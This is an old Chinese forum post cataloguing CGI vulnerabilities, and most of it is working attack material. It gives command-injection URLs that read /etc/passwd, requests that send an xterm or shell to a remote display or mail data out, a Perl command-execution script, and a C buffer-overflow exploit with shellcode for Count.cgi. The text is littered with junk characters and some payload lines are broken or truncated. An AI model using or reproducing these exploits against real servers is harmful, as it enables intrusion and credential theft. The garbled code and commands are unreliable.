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CGI漏洞

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发表于 2002-2-10 17:00:18 | 显示全部楼层 |阅读模式
对于下面列出的CGI漏洞,简单的讲,可以通过直接删除程序或者改写程序来达到安全的目9 k/ R* c3 X( S5 }! s' S3 A" x
% Z$ |" A6 _$ Z8 m" }9 j
一.phf漏洞0 j, K9 x- O% i: V& r
这个phf漏洞好象是最经典了,几乎所有的文章都会介绍,可以执行服务器的命令,如显示
- E9 d/ ]" k0 Q6 o' ?/etc/passwd:7 f8 `+ ]; i/ K4 A- L$ n4 ]8 ^
lynx http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
9 `9 o! l7 o0 Y! c4 O' Q/ C但是我们还能找到它吗?
2 @; T, N* Q* D4 H二.php.cgi 2.0beta10或更早版本的漏洞0 X* j9 u$ q0 [/ f
可以读nobody权限的所有文件.
1 |5 p' q) O& E. l- q9 a" z5 H  i1 plynx http://www.victim.com/cgi-bin/php.cgi?/etc/passwd+ o3 I4 {; C# }' d' T, [( X" ^, x
php.cgi 2.1版本的只能读shtml文件了. 对于密码文件,同志们要注意一下,也许可能在
7 d: o0 H/ P% G; }6 r9 M/etc/master.passwd
2 {" y" U8 M$ G. e/etc/security/passwd等.3 j! a' Y2 F3 R& q
三.whois_raw.cgi' U9 Z, s0 _6 L. Q
lynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd% u: i, N, n1 t7 c/ v; k
lynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xter: b- y8 H% W. |
m%20-display%20graziella.lame.org:0
* [0 e' J5 @8 y& `四.faxsurvey; v+ D  x9 o- U
lynx http://www.victim.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd( }! ^  u& a( I$ J4 Y+ [1 W5 C4 G
五.textcounter.pl( z$ ?, r2 X, }) I& @4 v* }
如果服务器上有textcounter.pl,所有人可以以http守护进程的权限执行命令./ k4 C2 s( X3 l( r+ _' X* q- ^
#!/usr/bin/perl
2 d5 G) n& A5 ^% o& o2 W. b7 C$URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this
4 \- x5 n( `9 S) _$EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this% Q- v# y6 N) `
if ($ARGV[0]) { $CMD=$ARGV[0];}else{
: k* V4 m. _- ~$ \5 N- @3 e9 G; y$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothe
$ n6 g+ O; ~9 r' Ure_one";* R  |) r& H5 M% y6 b2 h
}$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print "$text\
9 P7 ]! I; {1 pn";
+ W4 L3 }# {: }. o9 b* Wsystem({"wget"} "wget", $text, "-O/dev/null");" V* z) H0 p8 _  P3 V- Q. ~
system({"wget"} "wget", $text, "-O/dev/null");* ~  b( w: g' q+ k. j
#system({"lynx"} "lynx", $text); #如果没有wget命令也可以用lynx
) x+ K7 x, X6 J, O7 y" N  J: p& B4 \#system({"lynx"} "lynx", $text);+ X0 e4 V4 m/ h1 K+ K! {
六.一些版本(1.1)的info2www的漏洞
( l; M. Z' p1 C( C4 M! @1 D$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami asswd|)'7 {2 E/ M8 Q, R/ @7 _- R; q
$% e0 O7 ]8 j9 @2 p* L# C, n0 z
You have new mail.
& D2 ?2 b3 j1 S% T  `# t, C/ U+ Y$8 D6 S9 W1 B' b( c5 v' l: @8 ~. }7 m
说实在我不太明白.:(6 t/ T% m5 W, P0 y7 \7 y
七.pfdispaly.cgi
" _5 p0 H& V4 @" P9 W8 F$ G* rlynx -source \
3 L2 S4 J3 ]7 @7 C8 b'http://www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'
$ [1 n- A3 _3 ~4 R9 }+ }9 h: g2 ^pfdisplay.cgi还有另外一个漏洞可以执行命令" ?4 I5 F& \& _$ Z9 _
lynx -dump http://www.victim.com/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'4 g- s6 j9 {0 w4 R) B. N
or  a1 j! T8 I; l5 p) y3 _7 m  \8 w
lynx -dump \4 [# H# s6 v: P7 Z4 J9 d7 D8 Z
http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evi
' U# ^( X+ `& _' s" X: El:0.0|'
4 x1 `1 ~( G! [5 j5 U: J9 u八.wrap- O- @8 g! X/ S: e6 u! f
lynx http://www.victim.com/cgi-bin/wrap?/../../../../../etc: n+ E% W2 q# p, g8 z) ^- W
九.www-sql+ E6 f  h0 j7 w5 d" {( q5 L
可以让你读一些受限制的页面如:
: M+ G: c& y' F# F; G在你的浏览器里输入:http://your.server/protected/something.html:
" f: Q/ R3 C- s, j被要求输入帐号和口令.而有www-sql就不必了:+ o9 d0 H7 Z+ S5 q& @: I
http://your.server/cgi-bin/www-sql/protected/something.html:/ E' z* i4 G9 [6 u: ~$ Y
十.view-source- C" H# T# b- H, I8 W3 Z' j# Z
lynx http://www.victim.com/cgi-bin/view-source?../../../../../../../etc/pass- |' U% N5 ?0 k1 r# _
wd- J8 j9 s8 X; ^- X( ~
十一.campas
" q2 \8 o" m% d$ T/ vlynx http://www.victim.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a
8 c! a) l+ @7 @  F; V2 ]十二.webgais
7 v8 h' a4 C7 h7 Xtelnet www.victim.com 80# ?# X5 c. Q3 @
POST /cgi-bin/webgais HTTP/1.0  U2 S% x9 _) m# a( f1 y
Content-length: 85 (replace this with the actual length of the "exploit"line
7 u$ B3 p0 E" U8 O) B& B( I# J)
$ U5 H* J; m! |9 \query=';mail+drazvan\@pop3.kappa.roparagraph( `' C2 b0 t& @4 i# ]" K. J& V9 ~  C
十三.websendmail
% S. e& |' w6 K0 e( F  V; ^6 Ttelnet www.victim.com 807 L+ j, o) l; B) X3 H2 i
POST /cgi-bin/websendmail HTTP/1.04 O* ]& G1 p  A9 a/ T/ O
Content-length: xxx (should be replaced with the actual length of the
) l$ J) |5 U" s) H2 Jstring passed to the server, in this case xxx=90)2 ]3 C8 O, [1 P
receiver=;mail+your_address\@somewhere.orgubject=a&content=a
) C/ A. T+ w" b; I十四.handler8 C: X2 C& S) @- ~
telnet www.victim.com 80/ Z) I* i; l* n' U& {
GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=DownloadHTTP/1.0
' l+ \2 A& n7 ]' vor1 l9 W; J  }( x: I" c5 b
GET /cgi-bin/handler/blah;xwsh -display yourhost.com|?data=Download
3 e+ ?. N4 L5 a, Q( u( r* x) y5 Jor
: t" h1 o4 [# M' V* j1 yGET /cgi-bin/handler/;xterm-displaydanish:0-e/bin/s
5 m  R, p. j; x  `3 vh|?data=Download
  @) c% J2 n# b: t" |( J注意,cat后是TAB键而不是空格,服务器会报告不能打开useless_shit,但仍旧执行下面命
1 C( S; C2 w" _* F) c2 U令.
+ \+ Y3 ~- b7 h, R8 s: e十五.test-cgi* W0 H3 T7 f2 p( l% L* J3 b
lynx http://www.victim.com/cgi-bin/test-cgi?\whatever
: V% u3 E2 D. o% k, rCGI/1.0 test script report:
1 D* K- ^7 v8 Xargc is 0. argv is .
. d; g6 X$ X/ j( f3 K+ ISERVER_SOFTWARE = NCSA/1.4B
* K4 c  M! k- ~3 I- F: MSERVER_NAME = victim.com2 h# z% |; L3 F/ ^9 |2 e: `
GATEWAY_INTERFACE = CGI/1.1
4 b. a. W2 ]: `2 x4 I) `0 f& c8 }SERVER_PROTOCOL = HTTP/1.0
$ K) p2 H8 S5 t! x! O8 RSERVER_PORT = 80
( d: i* }. P# K4 G4 R' @/ E# ZREQUEST_METHOD = GET
3 N6 O  t7 O7 H, w0 x! UHTTP_ACCEPT = text/plain, application/x-html, application/html,
0 C2 @3 b2 F/ O# Itext/html, text/x-html4 C* n: @* j! q, M
PATH_INFO =3 W4 G6 z* @) z# j5 M
PATH_TRANSLATED =9 _" Y/ e! p0 E+ _/ b  W$ |& z
SCRIPT_NAME = /cgi-bin/test-cgi
+ M# ?( V) B  ^QUERY_STRING = whatever# q1 C# e- n8 w& m. V
REMOTE_HOST = fifth.column.gov
' A- r2 R  K* OREMOTE_ADDR = 200.200.200.200. d5 \8 Z+ t' D4 P, q5 h
REMOTE_USER =
, B" `1 X$ b- Q# Y& X7 aAUTH_TYPE =% E* f; E* r$ w2 l7 C5 o- d
CONTENT_TYPE =& V9 y4 Q& w1 O1 c0 T2 k# _0 N% G
CONTENT_LENGTH =
. J/ S$ l/ [  K) P' l得到一些http的目录( S5 o4 b. `0 c( H
lynx http://www.victim.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
0 h2 U# P$ w2 [这招好象并不管用.:(& G1 f6 j; U1 \, d9 R! I
lynx http://www.victim.com/cgi-bin/nph-test-cgi?/*$ c1 E3 m$ X. k) H. d
还可以这样试
; K0 Q, K3 I' `, g; k" k2 L- ?) fGET /cgi-bin/test-cgi?* HTTP/1.0
3 k# N' `0 b# @: w$ Z( b4 A/ GGET /cgi-bin/test-cgi?x *
: e. G! l- l# t) e: r  LGET /cgi-bin/nph-test-cgi?* HTTP/1.0
% \3 [- v9 h+ z  m5 ^- qGET /cgi-bin/nph-test-cgi?x *" ?' R# T* ]) W
GET /cgi-bin/test-cgi?x HTTP/1.0 *8 d+ l( ^) M- J
GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *
& ]- w4 e8 S. c( a& I: k十六.对于某些BSD的apache可以:
, D0 ]3 B1 v9 c# K' }- clynx http://www.victim.com/root/etc/passwd7 r1 `; S+ X4 c. ]' Q5 S
lynx http://www.victim.com/~root/etc/passwd; h! L! p# s+ A0 i$ G  V
十七.htmlscript
8 p. P* G4 {$ p! }6 ?& |/ Vlynx http://www.victim.com/cgi-bin/htmlscript?../../../../etc/passwd
8 |( I) u: C! |  V# z: t( [十八.jj.c, B# O+ g) V& v) z, b1 h* `
The demo cgi program jj.c calls /bin/mail without filtering user& A# o& ^7 e2 H, Y3 b
input, so any program based on jj.c could potentially be exploited by( r1 G- L! P0 Z, `
simply adding a followed by a Unix command. It may require a; h' [8 Q# }7 j* l: o: V+ {; U
password, but two known passwords include HTTPdrocks and SDGROCKS. If
, I7 x! s6 R. e- Z2 Dyou can retrieve a copy of the compiled program running strings on it; C* y+ f0 C1 V! i
will probably reveil the password.: {$ y& J; q9 ?# Q+ t& n) g
Do a web search on jj.c to get a copy and study the code yourself if
5 m( {  S! @1 M* i$ [  Zyou have more questions.
. {+ p# I) n) `0 d十九.Frontpage extensions- W+ d9 R$ n. {* S4 t
如果你读http://www.victim.com/_vti_inf.html你将得到FP extensions的版本
$ ?5 f; E( w, p" W/ G3 q, R& D8 q和它在服务器上的路径. 还有一些密码文件如:
# c3 p& B0 w7 V) J' q8 p# chttp://www.victim.com/_vti_pvt/service.pwd
5 }% O6 J5 M% W  ohttp://www.victim.com/_vti_pvt/users.pwd
7 {/ a' `1 n. s$ j' _  Qhttp://www.victim.com/_vti_pvt/authors.pwd
! r- }7 i9 u* U. e4 rhttp://www.victim.com/_vti_pvt/administrators.pwd5 `  K( t) p8 A7 B7 H" Y! M! V" X: |7 E* e
二十.Freestats.com CGI
& h  {0 k+ Z) Q9 V( K1 t' H2 Y& w& Y没有碰到过,觉的有些地方不能搞错,所以直接贴英文.0 v, `& J7 A9 d: @2 d8 V2 l
John Carlton found following. He developed an exploit for the
5 h" J3 ]1 @1 H" ?/ X* cfree web stats services offered at freestats.com, and supplied the# W& I+ ~, l2 W4 k6 o" }
webmaster with proper code to patch the bug.! j$ B" M# l" H% z
Start an account with freestats.com, and log in. Click on the! C0 S5 J+ f5 W' s, ], n
area that says "CLICK HERE TO EDIT YOUR USER PROFILE & COUNTER
! R: i& n- d/ @( N: C) }INFO" This will call up a file called edit.pl with your user #/ u  A0 [; D/ U+ K! S% H* U: Y
and password included in it. Save this file to your hard disk and
! g8 X; P/ S& M, mopen it with notepad. The only form of security in this is a
! h9 b* t, x$ H4 h0 I2 m  M" bhidden attribute on the form element of your account number./ l5 ?) Z* w9 I4 t( G5 E9 M7 \
Change this from; {: l- _7 m( A
*input type=hidden name=account value=your#*6 ]7 }% ?# |" z2 s; Z$ `# g3 B
to, D- j- D  g3 S) D8 E6 W
*input type=text name=account value=""*8 U. V5 O  Z: }$ r% C7 A
Save your page and load it into your browser. Their will now be a5 h+ ^6 ]2 ]- p& Y/ L; Y
text input box where the hidden element was before. Simply type a7 i& B# d0 s& L
# in and push the "click here to update user profile" and all the
1 i+ I0 u9 l8 f* M1 uinformation that appears on your screen has now been written to
$ G- E0 ^& R9 i+ g! |that user profile.
" Z: w/ k3 E8 X; }) m. l0 gBut that isn't the worst of it. By using frames (2 frames, one to
9 }! A' t+ t% K# M& u8 bhold this page you just made, and one as a target for the form0 w! J/ t) A& M: j# M, v* h
submission) you could change the password on all of their accounts8 ]9 W3 Q4 V2 w& p8 x. t; Y
with a simple JavaScript function.
8 u: q0 ~7 {: A6 U5 y1 p0 k' O: ]Deep inside the web site authors still have the good old "edit.pl"& E" j4 v# q% m# R! z+ W8 P( g* Y' T
script. It takes some time to reach it (unlike the path described)
3 t& p- \+ X* ]5 m- g1 P: P8 obut you can reach it directly at:
9 F7 @' i$ \: }  T; ^http://www.sitetracker.com/cgi-bin/edit.pl?account=&password=/ f1 I& s4 _9 u4 K( ?) w
二十一.Vulnerability in Glimpse HTTP
4 V/ H, T; z5 }) P/ vtelnet target.machine.com 80) N% w  A0 U. J0 s& A
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor\@dhp.com\MD;echo1 }# ^8 r8 ^0 q5 E
HTTP/1.0* O# L) n2 u+ J3 p. o9 P
二十二.Count.cgi& k* y8 J% \& \/ j! j2 }' D
该程序只对Count.cgi 24以下版本有效:
3 |2 h3 r5 i" m" U/*### count.c ########################################################*/- S5 n! t6 i0 b; L* ]( Q+ h% E0 \9 l; i
#include( T1 j: C; N) j' q/ y
#include
! q, S; V9 @: z) S+ U#include
* Q  w% S8 h8 y* F6 R& e5 l#include
& P1 u" m  E" s4 {8 v0 S7 t5 |#include: Z9 Q' g' q6 A$ _, F
#include
/ A  z9 e' `% Z#include
6 Q) J. ]9 F4 x$ R1 g- {1 h#include
9 v) E7 T, b7 D+ X+ G5 F$ W#include  Z% }9 V) i; }, _
/* Forwards */
3 u1 A* U: p  D- ]6 _* b( G6 I: sunsigned long getsp(int);
5 ^! |9 L5 \' K5 Oint usage(char *);
1 d% l9 z" _9 K' h; v6 Wvoid doit(char *,long, char *);
/ Y3 e7 k1 _+ o/ c: ?; g/* Constants */* P4 p8 _$ X+ o+ Z9 a
char shell[]=
0 Z, u5 x; O1 v  l# e+ V"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
8 v; ^9 p% c% b$ m"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+ k  c! Y& Y1 k; K% N; p
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
7 E1 I7 v# j; B% s) E"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+ i4 X! w% Y$ I- P; n"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"3 i( d* u, n2 s
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90": R% B7 |3 ?+ E/ S5 m! s! Y
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90", R4 @: l1 J9 h; w. U, l
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90": R3 f- _6 k4 g6 K/ w
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"0 \& b2 W- v, Y
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"2 w4 ~* W8 b# P* u
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
' Y# U3 k" g+ v4 ?; u9 r) f2 B  d9 C"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"% K2 c' S. s6 ^/ G* L/ j
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
; w% G% F$ z3 e4 c"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
% [. v0 a! \2 g( d5 i! J8 b: j"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
* d- R$ ^2 B% N- c"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
& l' ~, m5 _( C7 W. z* j( x' |( ["\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"* p0 r, v7 C) A3 \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"' q$ K" L, a8 w0 C; f# q
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"6 N- P- [0 O7 y
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
4 ?  I) m  a& c- Z"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
% w" D1 o; w& z' \( h4 N- N"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"5 A) r) ]' S4 s
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"5 W6 `* }* Z$ i5 e
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
1 k. B" n7 b* G# Z4 r2 O$ J"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10") e* R; b$ M- ]
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
" C0 u) E1 `4 [7 w  k5 N"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"3 Y0 l' N% G0 q3 t/ A/ K6 X
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
7 S# r, S1 m: P8 C  `"/usr/X11R6/bin/xterm0-ut0-display0";- p9 l) A' X' o  u/ S: u7 w" h5 x4 j
char endpad[]=
2 U9 F2 [( t; x"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"; [1 ~. y9 R2 b0 }% N2 h/ J, R
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
, x; z- I0 l1 T2 Pint main (int argc, char *argv[]){1 q2 H1 ~# k9 h
char *shellcode = NULL;9 H/ |5 T8 T) r2 f. Z
int cnt,ver,retcount, dispnum,dotquads[4],offset;8 G$ [. j0 @. s2 n
unsigned long sp;/ g* _0 p& b* |% n' x& g  W0 D( @
char dispname[255];
; F' Z& J4 r' e4 P( }char *host;
4 F' b9 P6 Q  U! s, O2 hoffset = sp = cnt = ver = 0;5 A5 G  ?* ?% Y! @- Q; A6 X; Z
fprintf(stderr,"\t%s - Gus\n",argv[0]);
) w0 o+ {- P7 f+ ~# v  @( Z2 B  X6 Yif (argc<3) usage(argv[0]);
! N0 ~& R; `7 q, y% e4 O( S5 swhile ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {$ C2 ~3 d* `: @# V! s
switch(cnt){# _- m& Y' x3 Q# B" z* Q
case 'h':- ~, o2 _0 ~. I% ?5 p
host = optarg;
& }# H7 ^9 ~% ~# b$ ^break;) t: T6 ?. j2 J7 }; ^! C
case 'd':
( D' @3 l* N- g2 E{
* L3 N4 P2 c' p6 |5 _retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
5 {) R7 u: g: {: S( e4 Y&dotquads[0],2 R! j0 _& u0 K9 v8 L; i
&dotquads[1],. w3 k3 l+ i2 X- P2 r/ D
&dotquads[2],
1 F4 j) n- \/ F9 m, ]+ t$ r&dotquads[3], &dispnum);
9 x) Z; @. C' n1 mif (retcount != 5) usage(argv[0]);
& D3 i$ X% B, Q+ c& T4 {* E% Dsprintf(dispname, "%03d.%03d.%03d.%03d:%01d",( a8 \8 X! V) D+ A2 t# R3 _5 j
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);' X8 S4 o2 G/ H; t5 L
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));0 |" P0 y$ y3 V
sprintf(shellcode,"%s%s%s",shell,dispname,endpad);: P# u! C' o* W! }
}- ~/ C0 N( p$ A* D
break;
! I, y) N0 B- K& Y, ]6 q* W  c% Rcase 'v':
% q" K- Z9 ^) A! r" D2 T- q' ~' bver = atoi(optarg);% U+ [% F2 \( a2 R$ f
break;
; g+ [, O  X$ Z0 Fcase 'o':) o) b$ M0 l# w7 B
offset = atoi(optarg);  i7 ^- ?! F* P" v/ p
break;
) o4 o/ ?5 h8 o$ j% L$ `" i# K9 pdefault:
4 t5 K8 g/ [$ J! Gusage(argv[0]);
2 d4 [. l6 p" Fbreak;
" h1 h+ m0 p: W7 K9 Y}
- e, C* Z& E- X5 v- ?6 d}& Y5 x; N' q, G( x5 l
sp = offset + getsp(ver);
- {) L9 J1 u7 R) U2 v/ k- r8 Z(void)doit(host,sp,shellcode);8 |) r8 ?. f! Y) `
exit(0);
7 H$ f" [* Q- s- ^: h' e' V}% ?# w" `" T6 E% T% `
unsigned long getsp(int ver) {2 G$ D: L9 o9 x5 Q8 X0 @. f
/* Get the stack pointer we should be using. YMMV. If it does not work,; {% I; V6 g$ [- u& ]
try using -o X, where x is between -1500 and 1500 */) T$ q, }. O- e; P$ i
unsigned long sp=0;
' c( j9 W7 v9 C+ V9 Kif (ver == 15) sp = 0xbfffea50;
# F, n. A' X$ n; Zif (ver == 20) sp = 0xbfffea50;6 u; @( o" O5 n2 K- _
if (ver == 22) sp = 0xbfffeab4;
: R: s5 C7 f; Fif (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
/ N. _/ T. `7 u# _- K0 Z5 ]8 hif (sp == 0) {  }6 o5 P- F8 Q1 E8 R
fprintf(stderr,"I don't have an sp for that version try using the -o option.' t; N1 s4 }$ c3 Z( f0 h! G
\n");
- S* s- ]- z- E' e) W# K% h" O0 V3 Lfprintf(stderr,"Versions above 24 are patched for this bug.\n");4 H5 \! v$ V! P
exit(1);
2 r0 f% W# F; r7 {) f} else {/ k# V1 Z" j: Y5 M( S; C
return sp;
: x# v" p: o9 Q) x* X}
  o3 E7 U9 x, t+ I- C6 L}" l- y2 T' K4 v1 W# w
int usage (char *name) {
1 P2 b! N; J" [% I- D6 R$ t8 Afprintf(stderr,"\tUsage:%s -h host -d  -v  [-o ]\n
5 t; |5 E" z: W; ^",name);8 x  L* s1 N0 t  U
fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);+ y3 D- N$ J$ n7 W7 Q* \6 X
exit(1);! e: C7 `, Y* r
}
: }) w# z/ L& B4 r) }5 D! I- kint openhost (char *host, int port) {# i3 L$ Q" z1 z
int sock;3 l% _; Q* @0 R/ h
struct hostent *he;
% ^7 x4 [2 I9 a. m+ t5 R6 lstruct sockaddr_in sa;, K8 r1 t2 N# x' ?5 ]9 r
he = gethostbyname(host);
2 H  l* w) E" c5 i& b1 u* wif (he == NULL) {
  U+ q: X% B1 M2 r$ F. ^7 C3 Vperror("Bad hostname\n");
/ ^. i  n) M4 L1 N! Sexit(-1);/ S2 B7 |8 o5 U2 p! f& x: K
}) N; ~# N: o6 @5 \: ~, L# ?
memcpy(&sa.sin_addr, he->h_addr, he->h_length);% c: ]5 B/ A) n, L5 m' r
sa.sin_port=htons(port);
/ v# L  Z- S4 rsa.sin_family=AF_INET;
- |+ w* I# w/ ^" i- j& |6 V% f5 ^sock=socket(AF_INET,SOCK_STREAM,0);
( v! z' k. E/ O1 A( tif (sock < 0) {' F' t8 L5 ^) ^* k
perror ("cannot open socket");
! V8 P) x+ R5 w- C3 Cexit(-1);7 [  y- A5 K- K
}; J0 }% c0 y1 W
bzero(&sa.sin_zero,sizeof (sa.sin_zero));% X5 y. o; g' a: n
if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {, ?7 B5 C4 q' M  H! v
perror("cannot connect to host");2 e2 q" R& t: O7 D
exit(-1);
3 T' n$ k6 L* L+ q9 c}
% \- ]2 ?/ b+ Yreturn(sock);/ A6 E( {; K2 e' k5 C
}1 _/ N& q3 X* [
void doit (char *host,long sp, char *shellcode) {+ B7 v7 j7 |7 o0 e. r) v! w6 x
int cnt,sock;
! x2 _4 I3 E4 ]2 y) xchar qs[7000];; r0 i& N' V. `% O
int bufsize = 16;* X  v7 P5 `# S
char buf[bufsize];
7 H8 c7 @' I/ v" ?' |' ], A: Ichar chain[] = "user=a";
* I" E9 B) f) z* Dbzero(buf);
: b7 @& c8 B& X/ O7 Vfor(cnt=0;cnt<4104;cnt+=4) {" L0 f' U: H- b/ L; G0 g' s5 t
qs[cnt+0] = sp & 0x000000ff;
+ z. N4 P+ Q( C' {/ a. Qqs[cnt+1] = (sp & 0x0000ff00) >> 8;
- p0 M2 P$ F* _. Y* [) d2 k/ `4 Sqs[cnt+2] = (sp & 0x00ff0000) >> 16;, x& c  J5 Y6 L4 y% B3 N* y5 O. n
qs[cnt+3] = (sp & 0xff000000) >> 24;
2 f; P! f; |1 \3 M& d) d}' N1 n4 F0 W) X
strcpy(qs,chain);
' ~) F( q% `/ aqs[strlen(chain)]=0x90;' Z! q: j1 V3 x/ W8 `5 q% h& R
qs[4104]= sp&0x000000ff;! f$ o) m, r5 t. I$ t
qs[4105]=(sp&0x0000ff00)>>8;1 K4 Z. ~4 h4 |) H/ V: A7 B
qs[4106]=(sp&0x00ff0000)>>16;: F" E2 A) ?) I) S8 s$ P/ r& C/ x9 s: f
qs[4107]=(sp&0xff000000)>>24;: A7 E! E5 F3 }4 V, v% L- ?
qs[4108]= sp&0x000000ff;* F) z& @: d* T1 W7 m
qs[4109]=(sp&0x0000ff00)>>8;
3 _' y) Y& [1 O; j$ k/ g, uqs[4110]=(sp&0x00ff0000)>>16;
- i5 N, w9 N- Y% `% e8 J! m1 nqs[4111]=(sp&0xff000000)>>24;
# z% ?2 o% w5 t" d/ ?. [qs[4112]= sp&0x000000ff;; t# }2 A2 w( y+ J( ~. {. B
qs[4113]=(sp&0x0000ff00)>>8;$ g; P; z2 E) B1 u
qs[4114]=(sp&0x00ff0000)>>16;  [" A! M. r  K3 Q7 p
qs[4115]=(sp&0xff000000)>>24;
) c1 k( |$ }9 r' H+ e( k, u- {6 Rqs[4116]= sp&0x000000ff;2 `! u% S% z/ W! \* ?
qs[4117]=(sp&0x0000ff00)>>8;
, v9 z3 ]* L- b* r: Oqs[4118]=(sp&0x00ff0000)>>16;* K9 E7 t3 }5 S; v0 ?" h) _
qs[4119]=(sp&0xff000000)>>24;) d) N1 A" b; f! U; W% A( t) i1 Y5 O$ e
qs[4120]= sp&0x000000ff;8 n3 y& j3 z# k4 C) E
qs[4121]=(sp&0x0000ff00)>>8;
+ j+ A) Y2 R# E1 b" c; uqs[4122]=(sp&0x00ff0000)>>16;5 L3 S! c" I& \
qs[4123]=(sp&0xff000000)>>24;) W9 e: R. `* r9 e* f' P( _  a
qs[4124]= sp&0x000000ff;" p$ V" J7 G5 f2 l$ _4 _
qs[4125]=(sp&0x0000ff00)>>8;% W9 N: N# I4 a- l0 H7 u
qs[4126]=(sp&0x00ff0000)>>16;& v5 ~* J$ u$ Y+ r) D8 v
qs[4127]=(sp&0xff000000)>>24;$ |" I6 j6 d# h0 v6 T9 F
qs[4128]= sp&0x000000ff;) J0 C9 E0 n% i4 g8 K* U. W
qs[4129]=(sp&0x0000ff00)>>8;
3 a) o7 n2 q4 cqs[4130]=(sp&0x00ff0000)>>16;6 g# d9 q  u1 h/ S# s3 g  r) b) K8 e
qs[4131]=(sp&0xff000000)>>24;, c" r# \% K9 _% l3 b
strcpy((char*)&qs[4132],shellcode);
8 p4 O$ J5 U+ lsock = openhost(host,80);1 v7 f) Y9 `+ O# {# q
write(sock,"GET /cgi-bin/Count.cgi?",23);
+ S5 B- Z) c$ e! u6 z; |write(sock,qs,strlen(qs));3 ]1 e+ e2 F/ e: o9 A/ w" s6 U$ j9 l
write(sock," HTTP/1.0\n",10);
0 C' ~  ]" z& Z  Iwrite(sock,"User-Agent: ",12);" c8 H4 W  Y& E$ x
write(sock,qs,strlen(qs));; k  d) |4 p! P5 S4 H
write(sock,"\n\n",2);: h; Y, h! m1 R! |+ u9 {
sleep(1);
, v/ |  H8 i% y/* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); ** H( u! q% X$ w) K& h! S" w% Y
/+ `+ W2 [' O# Z
/*) c, t. @* V9 V+ w
setenv("HTTP_USER_AGENT",qs,1);
0 E7 A  _0 j7 s% Q5 Ksetenv("QUERY_STRING",qs,1);% }) F4 C# {$ k( M2 d
system("./Count.cgi");( L- J* @9 Z, P! N, w; z$ `
*/7 U/ ^, w' ?. P% @) }
}8 N1 ]3 s. d- A0 x) Q) g4 H% M# _
用Count.cgi看图片9 N8 y) a2 v. M: R4 P
